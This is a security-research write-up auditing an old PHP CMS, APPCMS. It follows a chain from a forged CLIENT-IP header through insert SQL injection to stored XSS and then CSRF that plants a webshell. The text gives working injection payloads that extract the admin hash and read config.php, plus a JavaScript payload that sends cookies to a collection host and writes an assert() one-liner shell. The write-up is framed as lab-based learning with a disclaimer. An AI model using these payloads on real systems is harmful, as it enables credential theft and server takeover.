Security Research

APPCMS Code Audit: SQL Injection, XSS, CSRF and GetShell

#Vulnerability#Security
Dark dossier-style cover with copper-orange fractured chain links and cracked digital interface layers, symbolizing the chained attack from CLIENT-IP injection through stored XSS to a CSRF-dropped shell

Background

A friend handed me a lead and wanted to reproduce an APPCMS vulnerability disclosed on CNVD (CNVD-2017-13891). The CNVD entry only says the flaw lives in comment.php — no further detail — so the job was to read the source and find the vulnerable spot myself. A good excuse to shake off the rust on code auditing. Looking forward to discussing with anyone who has thoughts.

Official site: http://www.appcms[.]cc/ Vulnerability entry: http://www.cnvd[.]org[.]cn/flaw/show/CNVD-2017-13891

Audit Process

This writeup is a retrospective. During the audit I worked the exploitation forward step by step until the goal was reached. First came the code audit to pin down the vulnerability. That got me the username admini, the password hash 77e2edcc9b40441200e31dc57dbb8829, and the security code 123456 — but not the backend URL. After some thinking I realized a second-order bug could be chained in: use stored XSS to capture the admin’s cookie and backend path, then combine it with CSRF to land a shell.

Locating the Vulnerability

Open comment.php, read it through, and trace how data flows. CNVD says it’s SQL injection, so focus on the SQL-touching code first.

Lines 80–86 of comment.phpquery_update and single_insert stand out. The pieces being concatenated into SQL are TB_PREFIX, $fields['parent_id'], and $fields:

// comment.php lines 80-86
if ($fields['parent_id'] != 0) {
    $ress = $dbm->query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
}
$res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);

TB_PREFIX is defined as 'appcms_' in core/config.conn.php, so it’s not interesting. $fields['parent_id'] is type-checked on line 73 with if(!is_numeric($fields['parent_id'])) die();, so that’s locked down too.

Vulnerable code location

$fields is built by the custom function m__add(), which copies key fields out of the $page array — and $page holds all POST and GET data:

// comment.php lines 29-30
$page['get']  = $_GET;  // the m and ajax params are reserved
$page['post'] = $_POST; // one triggers the action function, the other toggles template vs JSON output

Inside m__add(), the controllable fields $fields['id'], $fields['type'], and $fields['parent_id'] must all be numeric, so they’re dead ends. That leaves $fields['uname'], $fields['content'], and $fields['ip']. After testing and tracing, $fields['ip'] turned out to be the one controllable, injectable point.

// comment.php lines 57-86 (excerpt)
function m__add() {
    global $page, $dbm, $c;
    $fields = array();
    foreach($page['post'] as $key => $val) {
        $page['post'][$key] = htmlspecialchars(helper::escape($val));
    }
    // ... captcha, field validation omitted ...
    $fields['date_add'] = time();
    $fields['ip']       = helper::getip();   // controllable
    // ...
    $res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);
}

Two things led to that conclusion. First, tracing into single_insert — it iterates the $fields array with foreach and stitches values straight into $sql with no processing:

// core/database.class.php lines 102-120
public function single_insert($table_name, $fields) {
    if (!is_array($fields) || count($fields) == 0) return array(/* ... */);
    $sql_field = "";
    $sql_value = "";
    // iterate fields and values
    foreach($fields as $key => $value) {
        $sql_field .= ",$key";
        $sql_value .= ",'$value'";   // raw concatenation, no escaping
    }
    $sql_field = substr($sql_field, 1);
    $sql_value = substr($sql_value, 1);
    $sql = "insert into $table_name ($sql_field) values ($sql_value)";
    $result = $this->query_insert($sql);
    return $result;
}

single_insert method

Second, tracing $fields['ip'] = helper::getip(); — the getip() method trusts HTTP_CLIENT_IP, which a client can forge freely:

// core/help.class.php lines 47-57
public static function getip() {
    $onlineip = '';
    if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
        $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
        $onlineip = getenv('REMOTE_ADDR');
    } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
        $onlineip = $_SERVER['REMOTE_ADDR'];
    }
    return $onlineip;
}

getip method

So $fields['ip'] satisfies all three conditions — user-controlled, unsanitized, directly concatenated — producing an insert injection. To make payload construction easier I dropped an echo $sql; into single_insert at line 117 of core/database.class.php so I could watch the SQL. The CMS also shipped a broken image captcha, so Burp Suite made light work of injecting and pulling data.

Payload: Extracting Username and Password

Next, the payload. This is an insert injection but it doesn’t echo SQL errors, so error-based injection is out. A nudge from friends: since insert writes attacker data into the table, you can route query results back to the frontend through it. This is a comment feature, so the rendered columns are content, uname, date_add, and ip. The following inserts query results into content and uname, which then surface in the “username” and “reply content” spots on the page:

CLIENT-IP: 10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1510908798',1)#

Payload: Extracting the Security Code

With username and password in hand, the next target was the security code — stored in core/config.php, so load_file() was the tool.

To get the absolute path, I dropped the trailing # from the payload and let the SQL error leak it — core/init.php has error display on by default.

Once the path is known, load_file() can read core/config.php. But the content column is varchar(500), so a full load_file() dump won’t fit. I used substr to slice from offset 480, length 400 (no precise calculation — just enough to land the security code inside content):

CLIENT-IP: 10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480, 400)),'thinking','1510908798',123456)#

SQL injection credentials echo

At this point I had the username admini, the password hash 77e2edcc9b40441200e31dc57dbb8829, and the security code 123456. But APPCMS forces a backend URL change after install, so even with all three, logging in wasn’t straightforward.

From Injection to Shell

That covers the CNVD vulnerability end to end. The next step was pushing further: an insert injection writes attacker-controlled data into the database, which almost always opens the door to second-order bugs. This section uses the injection to plant a stored XSS that hits the admin, then chains CSRF to write a webshell through the “add module” feature.

Stored XSS to Steal Cookies

I used the Blue Lotus team’s XSS platform. For the payload I modified the comment to fire two requests: one to create a file, one to write content into it.

// Grab key site info
var website = "http://127.0.0.1/xsser";
(function () {
    (new Image()).src = website + '/?keepsession=1&location=' +
        escape((function () { try { return document.location.href } catch (e) { return '' } })()) +
        '&toplocation=' + escape((function () { try { return top.location.href } catch (e) { return '' } })()) +
        '&cookie=' + escape((function () { try { return document.cookie } catch (e) { return '' } })()) +
        '&opener=' + escape((function () { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })());
})();

function csrf_shell() {
    // Create a file named evil.php
    var xmlhttp1 = new XMLHttpRequest();
    xmlhttp1.open("POST", "./template.php?m=create_file", true);
    xmlhttp1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    xmlhttp1.send("filename=evil.php");

    // Write a one-liner webshell into evil.php
    var xmlhttp2 = new XMLHttpRequest();
    xmlhttp2.open("POST", "./template.php?m=save_edit", true);
    xmlhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    // content = <?php assert($_POST['cmd']);?>
    xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");
}
csrf_shell();

XSS+CSRF payload

Verifying the Exploit

With everything configured, I fired the request. A comment record appeared in the backend. I simulated an admin login and traced with Burp — the evil.php file was created and the one-liner written into it, confirming the script executed. The site’s login info was also exfiltrated to the XSS platform.

The cookie came back, and the shell was live at http://127.0.0.1/APPCMS/templates/default/evil.php.

Shell upload result

Final Thoughts

For getting into the backend, XSS was the idea I landed on. I wanted to trigger an error-based leak, but the frontend had no data path that talked to the backend — no way to surface an error that would reveal the backend URL. So I went with SQL injection → XSS → CSRF straight to shell. If anyone has a better approach, I’d love to hear it. Thanks to 若水 for the lead, and to everyone who pointed me along the way.

Looking back, the essence of this chain is a single consistency gap — “user-controlled input, not parameterized” — amplified three times over: CLIENT-IP injection reads credentials, the comment’s stored XSS reaches the admin, and the admin’s session executes CSRF to drop the webshell. Three links, tightly coupled, but the starting point is one unescaped getip().

Note: APPCMS is long unmaintained and the official domain may be down. This writeup is for historical audit review and technical learning only — do not test against systems you don’t own.